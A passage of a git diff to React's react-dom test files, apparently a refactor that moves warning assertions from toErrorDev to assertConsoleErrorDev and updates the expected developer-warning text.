+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in LegacyClsConsumer (at **)',
       'LegacyFnConsumer uses the legacy contextTypes API which was removed in React 19. ' +
-        'Use React.createContext() with React.useContext() instead.',
+        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in LegacyFnConsumer (at **)',
     ]);
     expect(text).toBe('<span>{}<!-- -->undefined<!-- -->undefined</span>');
     expect(lifecycleContextLog).toEqual([{}, {}, {}]);
@@ -233,15 +239,7 @@ describe('ReactLegacyContextDisabled', () => {
       );
     });
     expect(container.textContent).toBe('bbb');
-    if (gate(flags => flags.enableLazyContextPropagation)) {
-      // In the lazy propagation implementation, we don't check if context
-      // changed until after shouldComponentUpdate is run.
-      expect(lifecycleContextLog).toEqual(['b', 'b', 'b']);
-    } else {
-      // In the eager implementation, a dirty flag was set when the parent
-      // changed, so we skipped sCU.
-      expect(lifecycleContextLog).toEqual(['b', 'b']);
-    }
+    expect(lifecycleContextLog).toEqual(['b', 'b', 'b']);
     root.unmount();
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactLegacyErrorBoundaries-test.internal.js b/packages/react-dom/src/__tests__/ReactLegacyErrorBoundaries-test.internal.js
index 2809460c5b06..8c0505db92d9 100644
--- a/packages/react-dom/src/__tests__/ReactLegacyErrorBoundaries-test.internal.js
+++ b/packages/react-dom/src/__tests__/ReactLegacyErrorBoundaries-test.internal.js
@@ -13,6 +13,7 @@ let PropTypes;
 let React;
 let ReactDOM;
 let act;
+let assertConsoleErrorDev;
 
 // TODO: Refactor this test once componentDidCatch setState is deprecated.
 describe('ReactLegacyErrorBoundaries', () => {
@@ -42,6 +43,8 @@ describe('ReactLegacyErrorBoundaries', () => {
     ReactDOM = require('react-dom');
     React = require('react');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
 
     log = [];
 
@@ -846,6 +849,11 @@ describe('ReactLegacyErrorBoundaries', () => {
       </ErrorBoundary>,
       container,
     );
+    assertConsoleErrorDev([
+      'BrokenComponentWillMountWithContext uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in BrokenComponentWillMountWithContext (at **)',
+    ]);
     expect(container.firstChild.textContent).toBe('Caught an error: Hello.');
   });
 
@@ -2099,50 +2107,37 @@ describe('ReactLegacyErrorBoundaries', () => {
     const Y = undefined;
 
     await expect(async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        await act(() => {
-          ReactDOM.render(<X />, container);
-        });
-      }).rejects.toThrow('got: null');
-    }).toErrorDev(
-      'React.jsx: type is invalid -- expected a string ' +
-        '(for built-in components) or a class/function ' +
-        '(for composite components) but got: null.',
-      {withoutStack: 1},
-    );
+      const container = document.createElement('div');
+      await act(() => {
+        ReactDOM.render(<X />, container);
+      });
+    }).rejects.toThrow('got: null');
 
     await expect(async () => {
-      await expect(async () => {
-        const container = document.createElement('div');
-        await act(() => {
-          ReactDOM.render(<Y />, container);
-        });
-      }).rejects.toThrow('got: undefined');
-    }).toErrorDev(
-      'React.jsx: type is invalid -- expected a string ' +
-        '(for built-in components) or a class/function ' +
-        '(for composite components) but got: undefined.',
-      {withoutStack: 1},
-    );
+      const container = document.createElement('div');
+      await act(() => {
+        ReactDOM.render(<Y />, container);
+      });
+    }).rejects.toThrow('got: undefined');
   });
 
   // @gate !disableLegacyMode
   it('renders empty output if error boundary does not handle the error', async () => {
     const container = document.createElement('div');
-    expect(() => {
-      ReactDOM.render(
-        <div>
-          Sibling
-          <NoopErrorBoundary>
-            <BrokenRender />
-          </NoopErrorBoundary>
-        </div>,
-        container,
-      );
-    }).toErrorDev(
-      'ErrorBoundary: Error boundaries should implement getDerivedStateFromError()',
+    ReactDOM.render(
+      <div>
+        Sibling
+        <NoopErrorBoundary>
+          <BrokenRender />
+        </NoopErrorBoundary>
+      </div>,
+      container,
     );
+    assertConsoleErrorDev([
+      'NoopErrorBoundary: Error boundaries should implement getDerivedStateFromError(). ' +
+        'In that method, return a state update to display an error message or fallback UI.\n' +
+        '    in NoopErrorBoundary (at **)',
+    ]);
     expect(container.firstChild.textContent).toBe('Sibling');
     expect(log).toEqual([
       'NoopErrorBoundary constructor',
diff --git a/packages/react-dom/src/__tests__/ReactLegacyMount-test.js b/packages/react-dom/src/__tests__/ReactLegacyMount-test.js
index c845eae55ce1..8093a34998fd 100644
--- a/packages/react-dom/src/__tests__/ReactLegacyMount-test.js
+++ b/packages/react-dom/src/__tests__/ReactLegacyMount-test.js
@@ -15,6 +15,7 @@ let React;
 let ReactDOM;
 let ReactDOMClient;
 let waitForAll;
+let assertConsoleErrorDev;
 
 describe('ReactMount', () => {
   beforeEach(() => {
@@ -26,6 +27,7 @@ describe('ReactMount', () => {
 
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   describe('unmountComponentAtNode', () => {
@@ -63,16 +65,14 @@ describe('ReactMount', () => {
       }
     }
 
-    expect(() => {
-      const container = document.createElement('div');
-      ReactDOM.render(Component, container);
-    }).toErrorDev(
+    const container = document.createElement('div');
+    ReactDOM.render(Component, container);
+    assertConsoleErrorDev([
       'Functions are not valid as a React child. ' +
         'This may happen if you return Component instead of <Component /> from render. ' +
         'Or maybe you meant to call this function rather than return it.\n' +
         '  root.render(Component)',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   // @gate !disableLegacyMode
@@ -168,13 +168,13 @@ describe('ReactMount', () => {
     // Test that blasting away children throws a warning
     const rootNode = container.firstChild;
 
-    expect(() => ReactDOM.render(<span />, rootNode)).toErrorDev(
+    ReactDOM.render(<span />, rootNode);
+    assertConsoleErrorDev([
       'Replacing React-rendered children with a new ' +
         'root component. If you intended to update the children of this node, ' +
         'you should instead have the existing children update their state and ' +
         'render the new components instead of calling ReactDOM.render.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   // @gate !disableLegacyMode
@@ -197,11 +197,11 @@ describe('ReactMount', () => {
     // Make sure ReactDOM and ReactDOMOther are different copies
     expect(ReactDOM).not.toEqual(ReactDOMOther);
 
-    expect(() => ReactDOMOther.unmountComponentAtNode(container)).toErrorDev(
+    ReactDOMOther.unmountComponentAtNode(container);
+    assertConsoleErrorDev([
       "unmountComponentAtNode(): The node you're attempting to unmount " +
         'was rendered by another copy of React.',
-      {withoutStack: true},
-    );
+    ]);
 
     // Don't throw a warning if the correct React copy unmounts the node
     ReactDOM.unmountComponentAtNode(container);
@@ -351,19 +351,18 @@ describe('ReactMount', () => {
     root.render(<div>Hi</div>);
     await waitForAll([]);
     expect(container.textContent).toEqual('Hi');
-    expect(() => {
-      ReactDOM.render(<div>Bye</div>, container);
-    }).toErrorDev(
-      [
-        // We care about this warning:
-        'You are calling ReactDOM.render() on a container that was previously ' +
-          'passed to ReactDOMClient.createRoot(). This is not supported. ' +
-          'Did you mean to call root.render(element)?',
-        // This is more of a symptom but restructuring the code to avoid it isn't worth it:
-        'Replacing React-rendered children with a new root component.',
-      ],
-      {withoutStack: true},
-    );
+    ReactDOM.render(<div>Bye</div>, container);
+    assertConsoleErrorDev([
+      // We care about this warning:
+      'You are calling ReactDOM.render() on a container that was previously ' +
+        'passed to ReactDOMClient.createRoot(). This is not supported. ' +
+        'Did you mean to call root.render(element)?',
+      // This is more of a symptom but restructuring the code to avoid it isn't worth it:
+      'Replacing React-rendered children with a new root component. ' +
+        'If you intended to update the children of this node, ' +
+        'you should instead have the existing children update their state ' +
+        'and render the new components instead of calling ReactDOM.render.',
+    ]);
     await waitForAll([]);
     // This works now but we could disallow it:
     expect(container.textContent).toEqual('Bye');
@@ -376,19 +375,16 @@ describe('ReactMount', () => {
     root.render(<div>Hi</div>);
     await waitForAll([]);
     expect(container.textContent).toEqual('Hi');
-    let unmounted = false;
-    expect(() => {
-      unmounted = ReactDOM.unmountComponentAtNode(container);
-    }).toErrorDev(
-      [
-        // We care about this warning:
-        'You are calling ReactDOM.unmountComponentAtNode() on a container that was previously ' +
-          'passed to ReactDOMClient.createRoot(). This is not supported. Did you mean to call root.unmount()?',
-        // This is more of a symptom but restructuring the code to avoid it isn't worth it:
-        "The node you're attempting to unmount was rendered by React and is not a top-level container.",
-      ],
-      {withoutStack: true},
-    );
+    const unmounted = ReactDOM.unmountComponentAtNode(container);
+    assertConsoleErrorDev([
+      // We care about this warning:
+      'You are calling ReactDOM.unmountComponentAtNode() on a container that was previously ' +
+        'passed to ReactDOMClient.createRoot(). This is not supported. Did you mean to call root.unmount()?',
+      // This is more of a symptom but restructuring the code to avoid it isn't worth it:
+      'unmountComponentAtNode(): ' +
+        "The node you're attempting to unmount was rendered by React and is not a top-level container. " +
+        'Instead, have the parent component update its state and rerender in order to remove this component.',
+    ]);
     expect(unmounted).toBe(false);
     await waitForAll([]);
     expect(container.textContent).toEqual('Hi');
@@ -407,17 +403,16 @@ describe('ReactMount', () => {
     root.render(<div>Hi</div>);
     await waitForAll([]);
     expect(container.textContent).toEqual('Hi');
-    let unmounted = false;
-    expect(() => {
-      unmounted = ReactDOM.unmountComponentAtNode(container);
-    }).toErrorDev(
-      [
-        'Did you mean to call root.unmount()?',
-        // This is more of a symptom but restructuring the code to avoid it isn't worth it:
-        "The node you're attempting to unmount was rendered by React and is not a top-level container.",
-      ],
-      {withoutStack: true},
-    );
+    const unmounted = ReactDOM.unmountComponentAtNode(container);
+    assertConsoleErrorDev([
+      'You are calling ReactDOM.unmountComponentAtNode() on a container ' +
+        'that was previously passed to ReactDOMClient.createRoot(). ' +
+        'This is not supported. Did you mean to call root.unmount()?',
+      // This is more of a symptom but restructuring the code to avoid it isn't worth it:
+      'unmountComponentAtNode(): ' +
+        "The node you're attempting to unmount was rendered by React and is not a top-level container. " +
+        'Instead, have the parent component update its state and rerender in order to remove this component.',
+    ]);
     expect(unmounted).toBe(false);
     await waitForAll([]);
     expect(container.textContent).toEqual('Hi');
@@ -430,12 +425,10 @@ describe('ReactMount', () => {
   it('warns when passing legacy container to createRoot()', () => {
     const container = document.createElement('div');
     ReactDOM.render(<div>Hi</div>, container);
-    expect(() => {
-      ReactDOMClient.createRoot(container);
-    }).toErrorDev(
+    ReactDOMClient.createRoot(container);
+    assertConsoleErrorDev([
       'You are calling ReactDOMClient.createRoot() on a container that was previously ' +
         'passed to ReactDOM.render(). This is not supported.',
-      {withoutStack: true},
-    );
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactLegacyUpdates-test.js b/packages/react-dom/src/__tests__/ReactLegacyUpdates-test.js
index ce74dc07d23c..2687c47ca1a6 100644
--- a/packages/react-dom/src/__tests__/ReactLegacyUpdates-test.js
+++ b/packages/react-dom/src/__tests__/ReactLegacyUpdates-test.js
@@ -15,6 +15,7 @@ let findDOMNode;
 let act;
 let Scheduler;
 let assertLog;
+let assertConsoleErrorDev;
 
 // Copy of ReactUpdates using ReactDOM.render and ReactDOM.unstable_batchedUpdates.
 // Can be deleted when we remove both.
@@ -27,6 +28,8 @@ describe('ReactLegacyUpdates', () => {
       ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE
         .findDOMNode;
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     Scheduler = require('scheduler');
 
     const InternalTestUtils = require('internal-test-utils');
@@ -652,7 +655,6 @@ describe('ReactLegacyUpdates', () => {
       });
     });
 
-    /* eslint-disable indent */
     expect(updates).toEqual([
       'Outer-render-0',
       'Inner-render-0-0',
@@ -681,7 +683,6 @@ describe('ReactLegacyUpdates', () => {
       'Inner-didUpdate-2-2',
       'Inner-callback-2',
     ]);
-    /* eslint-enable indent */
   });
 
   // @gate !disableLegacyMode
@@ -908,36 +909,32 @@ describe('ReactLegacyUpdates', () => {
     let component = ReactDOM.render(<A />, container);
 
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          component.setState({}, 'no');
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: no',
-      );
-    }).toErrorDev(
+      await act(() => {
+        component.setState({}, 'no');
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. ' +
+        'Instead received: no',
+    );
+    assertConsoleErrorDev([
       'Expected the last optional `callback` argument to be ' +
         'a function. Instead received: no.',
-      {withoutStack: 1},
-    );
+    ]);
 
     container = document.createElement('div');
     component = ReactDOM.render(<A />, container);
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          component.setState({}, {foo: 'bar'});
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: [object Object]',
-      );
-    }).toErrorDev(
-      'Expected the last optional `callback` argument to be ' +
-        "a function. Instead received: { foo: 'bar' }.",
-      {withoutStack: 1},
+      await act(() => {
+        component.setState({}, {foo: 'bar'});
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. Instead ' +
+        'received: [object Object]',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be a function. ' +
+        "Instead received: { foo: 'bar' }.",
+    ]);
     // Make sure the warning is deduplicated and doesn't fire again
     container = document.createElement('div');
     component = ReactDOM.render(<A />, container);
@@ -970,35 +967,31 @@ describe('ReactLegacyUpdates', () => {
     let component = ReactDOM.render(<A />, container);
 
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          component.forceUpdate('no');
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: no',
-      );
-    }).toErrorDev(
-      'Expected the last optional `callback` argument to be ' +
-        'a function. Instead received: no.',
-      {withoutStack: 1},
+      await act(() => {
+        component.forceUpdate('no');
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. Instead ' +
+        'received: no',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be a function. ' +
+        'Instead received: no.',
+    ]);
     container = document.createElement('div');
     component = ReactDOM.render(<A />, container);
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          component.forceUpdate({foo: 'bar'});
-        });
-      }).rejects.toThrowError(
-        'Invalid argument passed as callback. Expected a function. Instead ' +
-          'received: [object Object]',
-      );
-    }).toErrorDev(
-      'Expected the last optional `callback` argument to be ' +
-        "a function. Instead received: { foo: 'bar' }.",
-      {withoutStack: 1},
+      await act(() => {
+        component.forceUpdate({foo: 'bar'});
+      });
+    }).rejects.toThrowError(
+      'Invalid argument passed as callback. Expected a function. Instead ' +
+        'received: [object Object]',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be a function. ' +
+        "Instead received: { foo: 'bar' }.",
+    ]);
     // Make sure the warning is deduplicated and doesn't fire again
     container = document.createElement('div');
     component = ReactDOM.render(<A />, container);
@@ -1320,9 +1313,12 @@ describe('ReactLegacyUpdates', () => {
     }
 
     const container = document.createElement('div');
-    expect(() => ReactDOM.render(<Foo />, container)).toErrorDev(
-      'Cannot update during an existing state transition',
-    );
+    ReactDOM.render(<Foo />, container);
+    assertConsoleErrorDev([
+      'Cannot update during an existing state transition (such as within `render`). ' +
+        'Render methods should be a pure function of props and state.\n' +
+        '    in Foo (at **)',
+    ]);
     expect(ops).toEqual(['base: 0, memoized: 0', 'base: 1, memoized: 1']);
   });
 
diff --git a/packages/react-dom/src/__tests__/ReactMountDestruction-test.js b/packages/react-dom/src/__tests__/ReactMountDestruction-test.js
index 645e7fad4998..d48e2cc2de18 100644
--- a/packages/react-dom/src/__tests__/ReactMountDestruction-test.js
+++ b/packages/react-dom/src/__tests__/ReactMountDestruction-test.js
@@ -13,6 +13,8 @@ const React = require('react');
 const ReactDOM = require('react-dom');
 const ReactDOMClient = require('react-dom/client');
 const act = require('internal-test-utils').act;
+const assertConsoleErrorDev =
+  require('internal-test-utils').assertConsoleErrorDev;
 
 describe('ReactMount', () => {
   it('should destroy a react root upon request', async () => {
@@ -63,13 +65,13 @@ describe('ReactMount', () => {
 
     // Test that unmounting at a root node gives a helpful warning
     const rootDiv = mainContainerDiv.firstChild;
-    expect(() => ReactDOM.unmountComponentAtNode(rootDiv)).toErrorDev(
+    ReactDOM.unmountComponentAtNode(rootDiv);
+    assertConsoleErrorDev([
       "unmountComponentAtNode(): The node you're attempting to " +
         'unmount was rendered by React and is not a top-level container. You ' +
         'may have accidentally passed in a React root node instead of its ' +
         'container.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   // @gate !disableLegacyMode
@@ -88,12 +90,12 @@ describe('ReactMount', () => {
 
     // Test that unmounting at a non-root node gives a different warning
     const nonRootDiv = mainContainerDiv.firstChild.firstChild;
-    expect(() => ReactDOM.unmountComponentAtNode(nonRootDiv)).toErrorDev(
+    ReactDOM.unmountComponentAtNode(nonRootDiv);
+    assertConsoleErrorDev([
       "unmountComponentAtNode(): The node you're attempting to " +
         'unmount was rendered by React and is not a top-level container. ' +
         'Instead, have the parent component update its state and rerender in ' +
         'order to remove this component.',
-      {withoutStack: true},
-    );
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactMultiChild-test.js b/packages/react-dom/src/__tests__/ReactMultiChild-test.js
index 087e92985057..31c4e739b68d 100644
--- a/packages/react-dom/src/__tests__/ReactMultiChild-test.js
+++ b/packages/react-dom/src/__tests__/ReactMultiChild-test.js
@@ -13,12 +13,15 @@ describe('ReactMultiChild', () => {
   let React;
   let ReactDOMClient;
   let act;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     jest.resetModules();
     React = require('react');
     ReactDOMClient = require('react-dom/client');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
   });
 
   describe('reconciliation', () => {
@@ -216,25 +219,17 @@ describe('ReactMultiChild', () => {
         root.render(<Parent>{[<div key="1" />]}</Parent>);
       });
 
-      await expect(
-        async () =>
-          await act(async () => {
-            root.render(<Parent>{[<div key="1" />, <div key="1" />]}</Parent>);
-          }),
-      ).toErrorDev(
+      await act(async () => {
+        root.render(<Parent>{[<div key="1" />, <div key="1" />]}</Parent>);
+      });
+      assertConsoleErrorDev([
         'Encountered two children with the same key, `1`. ' +
           'Keys should be unique so that components maintain their identity ' +
           'across updates. Non-unique keys may cause children to be ' +
           'duplicated and/or omitted — the behavior is unsupported and ' +
           'could change in a future version.\n' +
-          '    in div (at **)' +
-          (gate(flags => flags.enableOwnerStacks)
-            ? ''
-            : '\n    in div (at **)' +
-              '\n    in WrapperComponent (at **)' +
-              '\n    in div (at **)' +
-              '\n    in Parent (at **)'),
-      );
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn for duplicated iterable keys with component stack info', async () => {
@@ -278,29 +273,19 @@ describe('ReactMultiChild', () => {
         root.render(<Parent>{createIterable([<div key="1" />])}</Parent>);
       });
 
-      await expect(
-        async () =>
-          await act(async () => {
-            root.render(
-              <Parent>
-                {createIterable([<div key="1" />, <div key="1" />])}
-              </Parent>,
-            );
-          }),
-      ).toErrorDev(
+      await act(async () => {
+        root.render(
+          <Parent>{createIterable([<div key="1" />, <div key="1" />])}</Parent>,
+        );
+      });
+      assertConsoleErrorDev([
         'Encountered two children with the same key, `1`. ' +
           'Keys should be unique so that components maintain their identity ' +
           'across updates. Non-unique keys may cause children to be ' +
           'duplicated and/or omitted — the behavior is unsupported and ' +
           'could change in a future version.\n' +
-          '    in div (at **)' +
-          (gate(flags => flags.enableOwnerStacks)
-            ? ''
-            : '\n    in div (at **)' +
-              '\n    in WrapperComponent (at **)' +
-              '\n    in div (at **)' +
-              '\n    in Parent (at **)'),
-      );
+          '    in div (at **)',
+      ]);
     });
   });
 
@@ -321,17 +306,15 @@ describe('ReactMultiChild', () => {
     }
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(
-      async () =>
-        await act(async () => {
-          root.render(<Parent />);
-        }),
-    ).toErrorDev(
+    await act(async () => {
+      root.render(<Parent />);
+    });
+    assertConsoleErrorDev([
       'Using Maps as children is not supported. ' +
         'Use an array of keyed ReactElements instead.\n' +
         '    in div (at **)\n' +
         '    in Parent (at **)',
-    );
+    ]);
   });
 
   it('should NOT warn for using generator functions as components', async () => {
@@ -362,11 +345,10 @@ describe('ReactMultiChild', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(async () => {
-        root.render(<Foo />);
-      });
-    }).toErrorDev(
+    await act(async () => {
+      root.render(<Foo />);
+    });
+    assertConsoleErrorDev([
       'Using Iterators as children is unsupported and will likely yield ' +
         'unexpected results because enumerating a generator mutates it. ' +
         'You may convert it to an array with `Array.from()` or the ' +
@@ -374,7 +356,7 @@ describe('ReactMultiChild', () => {
         'Iterable that can iterate multiple times over the same items.\n' +
         '    in div (at **)\n' +
         '    in Foo (at **)',
-    );
+    ]);
 
     expect(container.textContent).toBe('HelloWorld');
 
@@ -407,18 +389,17 @@ describe('ReactMultiChild', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(async () => {
-        root.render(<Foo />);
-      });
-    }).toErrorDev(
+    await act(async () => {
+      root.render(<Foo />);
+    });
+    assertConsoleErrorDev([
       'Using Iterators as children is unsupported and will likely yield ' +
         'unexpected results because enumerating a generator mutates it. ' +
         'You may convert it to an array with `Array.from()` or the ' +
         '`[...spread]` operator before rendering. You can also use an ' +
         'Iterable that can iterate multiple times over the same items.\n' +
         '    in Foo (at **)',
-    );
+    ]);
 
     expect(container.textContent).toBe('HelloWorld');
 
diff --git a/packages/react-dom/src/__tests__/ReactMultiChildText-test.js b/packages/react-dom/src/__tests__/ReactMultiChildText-test.js
index c32d13d3b015..0c9cc9636512 100644
--- a/packages/react-dom/src/__tests__/ReactMultiChildText-test.js
+++ b/packages/react-dom/src/__tests__/ReactMultiChildText-test.js
@@ -77,101 +77,106 @@ const expectChildren = function (container, children) {
  * faster to render and update.
  */
 describe('ReactMultiChildText', () => {
-  jest.setTimeout(20000);
+  jest.setTimeout(30000);
 
   it('should correctly handle all possible children for render and update', async () => {
-    await expect(async () => {
-      // prettier-ignore
-      await testAllPermutations([
-        // basic values
-        undefined, [],
-        null, [],
-        false, [],
-        true, [],
-        0, '0',
-        1.2, '1.2',
-        '', [],
-        'foo', 'foo',
-
-        [], [],
-        [undefined], [],
-        [null], [],
-        [false], [],
-        [true], [],
-        [0], ['0'],
-        [1.2], ['1.2'],
-        [''], [],
-        ['foo'], ['foo'],
-        [<div />], [<div />],
-
-        // two adjacent values
-        [true, 0], ['0'],
-        [0, 0], ['0', '0'],
-        [1.2, 0], ['1.2', '0'],
-        [0, ''], ['0', ''],
-        ['foo', 0], ['foo', '0'],
-        [0, <div />], ['0', <div />],
-
-        [true, 1.2], ['1.2'],
-        [1.2, 0], ['1.2', '0'],
-        [1.2, 1.2], ['1.2', '1.2'],
-        [1.2, ''], ['1.2', ''],
-        ['foo', 1.2], ['foo', '1.2'],
-        [1.2, <div />], ['1.2', <div />],
-
-        [true, ''], [''],
-        ['', 0], ['', '0'],
-        [1.2, ''], ['1.2', ''],
-        ['', ''], ['', ''],
-        ['foo', ''], ['foo', ''],
-        ['', <div />], ['', <div />],
-
-        [true, 'foo'], ['foo'],
-        ['foo', 0], ['foo', '0'],
-        [1.2, 'foo'], ['1.2', 'foo'],
-        ['foo', ''], ['foo', ''],
-        ['foo', 'foo'], ['foo', 'foo'],
-        ['foo', <div />], ['foo', <div />],
-
-        // values separated by an element
-        [true, <div />, true], [<div />],
-        [1.2, <div />, 1.2], ['1.2', <div />, '1.2'],
-        ['', <div />, ''], ['', <div />, ''],
-        ['foo', <div />, 'foo'], ['foo', <div />, 'foo'],
-
-        [true, 1.2, <div />, '', 'foo'], ['1.2', <div />, '', 'foo'],
-        [1.2, '', <div />, 'foo', true], ['1.2', '', <div />, 'foo'],
-        ['', 'foo', <div />, true, 1.2], ['', 'foo', <div />, '1.2'],
-
-        [true, 1.2, '', <div />, 'foo', true, 1.2], ['1.2', '', <div />, 'foo', '1.2'],
-        ['', 'foo', true, <div />, 1.2, '', 'foo'], ['', 'foo', <div />, '1.2', '', 'foo'],
-
-        // values inside arrays
-        [[true], [true]], [],
-        [[1.2], [1.2]], ['1.2', '1.2'],
-        [[''], ['']], ['', ''],
-        [['foo'], ['foo']], ['foo', 'foo'],
-        [[<div />], [<div />]], [<div />, <div />],
-
-        [[true, 1.2, <div />], '', 'foo'], ['1.2', <div />, '', 'foo'],
-        [1.2, '', [<div />, 'foo', true]], ['1.2', '', <div />, 'foo'],
-        ['', ['foo', <div />, true], 1.2], ['', 'foo', <div />, '1.2'],
-
-        [true, [1.2, '', <div />, 'foo'], true, 1.2], ['1.2', '', <div />, 'foo', '1.2'],
-        ['', 'foo', [true, <div />, 1.2, ''], 'foo'], ['', 'foo', <div />, '1.2', '', 'foo'],
-
-        // values inside elements
-        [<div>{true}{1.2}{<div />}</div>, '', 'foo'], [<div />, '', 'foo'],
-        [1.2, '', <div>{<div />}{'foo'}{true}</div>], ['1.2', '', <div />],
-        ['', <div>{'foo'}{<div />}{true}</div>, 1.2], ['', <div />, '1.2'],
-
-        [true, <div>{1.2}{''}{<div />}{'foo'}</div>, true, 1.2], [<div />, '1.2'],
-        ['', 'foo', <div>{true}{<div />}{1.2}{''}</div>, 'foo'], ['', 'foo', <div />, 'foo'],
-      ]);
-    }).toErrorDev([
-      'Each child in a list should have a unique "key" prop.',
-      'Each child in a list should have a unique "key" prop.',
+    spyOnDev(console, 'error').mockImplementation(() => {});
+    // prettier-ignore
+    await testAllPermutations([
+      // basic values
+      undefined, [],
+      null, [],
+      false, [],
+      true, [],
+      0, '0',
+      1.2, '1.2',
+      '', [],
+      'foo', 'foo',
+    
+      [], [],
+      [undefined], [],
+      [null], [],
+      [false], [],
+      [true], [],
+      [0], ['0'],
+      [1.2], ['1.2'],
+      [''], [],
+      ['foo'], ['foo'],
+      [<div />], [<div />],
+    
+      // two adjacent values
+      [true, 0], ['0'],
+      [0, 0], ['0', '0'],
+      [1.2, 0], ['1.2', '0'],
+      [0, ''], ['0', ''],
+      ['foo', 0], ['foo', '0'],
+      [0, <div />], ['0', <div />],
+    
+      [true, 1.2], ['1.2'],
+      [1.2, 0], ['1.2', '0'],
+      [1.2, 1.2], ['1.2', '1.2'],
+      [1.2, ''], ['1.2', ''],
+      ['foo', 1.2], ['foo', '1.2'],
+      [1.2, <div />], ['1.2', <div />],
+    
+      [true, ''], [''],
+      ['', 0], ['', '0'],
+      [1.2, ''], ['1.2', ''],
+      ['', ''], ['', ''],
+      ['foo', ''], ['foo', ''],
+      ['', <div />], ['', <div />],
+    
+      [true, 'foo'], ['foo'],
+      ['foo', 0], ['foo', '0'],
+      [1.2, 'foo'], ['1.2', 'foo'],
+      ['foo', ''], ['foo', ''],
+      ['foo', 'foo'], ['foo', 'foo'],
+      ['foo', <div />], ['foo', <div />],
+    
+      // values separated by an element
+      [true, <div />, true], [<div />],
+      [1.2, <div />, 1.2], ['1.2', <div />, '1.2'],
+      ['', <div />, ''], ['', <div />, ''],
+      ['foo', <div />, 'foo'], ['foo', <div />, 'foo'],
+    
+      [true, 1.2, <div />, '', 'foo'], ['1.2', <div />, '', 'foo'],
+      [1.2, '', <div />, 'foo', true], ['1.2', '', <div />, 'foo'],
+      ['', 'foo', <div />, true, 1.2], ['', 'foo', <div />, '1.2'],
+    
+      [true, 1.2, '', <div />, 'foo', true, 1.2], ['1.2', '', <div />, 'foo', '1.2'],
+      ['', 'foo', true, <div />, 1.2, '', 'foo'], ['', 'foo', <div />, '1.2', '', 'foo'],
+    
+      // values inside arrays
+      [[true], [true]], [],
+      [[1.2], [1.2]], ['1.2', '1.2'],
+      [[''], ['']], ['', ''],
+      [['foo'], ['foo']], ['foo', 'foo'],
+      [[<div />], [<div />]], [<div />, <div />],
+    
+      [[true, 1.2, <div />], '', 'foo'], ['1.2', <div />, '', 'foo'],
+      [1.2, '', [<div />, 'foo', true]], ['1.2', '', <div />, 'foo'],
+      ['', ['foo', <div />, true], 1.2], ['', 'foo', <div />, '1.2'],
+    
+      [true, [1.2, '', <div />, 'foo'], true, 1.2], ['1.2', '', <div />, 'foo', '1.2'],
+      ['', 'foo', [true, <div />, 1.2, ''], 'foo'], ['', 'foo', <div />, '1.2', '', 'foo'],
+    
+      // values inside elements
+      [<div>{true}{1.2}{<div />}</div>, '', 'foo'], [<div />, '', 'foo'],
+      [1.2, '', <div>{<div />}{'foo'}{true}</div>], ['1.2', '', <div />],
+      ['', <div>{'foo'}{<div />}{true}</div>, 1.2], ['', <div />, '1.2'],
+    
+      [true, <div>{1.2}{''}{<div />}{'foo'}</div>, true, 1.2], [<div />, '1.2'],
+      ['', 'foo', <div>{true}{<div />}{1.2}{''}</div>, 'foo'], ['', 'foo', <div />, 'foo'],
     ]);
+    if (__DEV__) {
+      expect(console.error).toHaveBeenCalledTimes(2);
+      expect(console.error.mock.calls[0][0]).toMatch(
+        'Each child in a list should have a unique "key" prop.',
+      );
+      expect(console.error.mock.calls[1][0]).toMatch(
+        'Each child in a list should have a unique "key" prop.',
+      );
+    }
   });
 
   it('should correctly handle bigint children for render and update', async () => {
diff --git a/packages/react-dom/src/__tests__/ReactRenderDocument-test.js b/packages/react-dom/src/__tests__/ReactRenderDocument-test.js
index 133f234137b9..583643449f78 100644
--- a/packages/react-dom/src/__tests__/ReactRenderDocument-test.js
+++ b/packages/react-dom/src/__tests__/ReactRenderDocument-test.js
@@ -67,6 +67,7 @@ describe('rendering React components at document', () => {
 
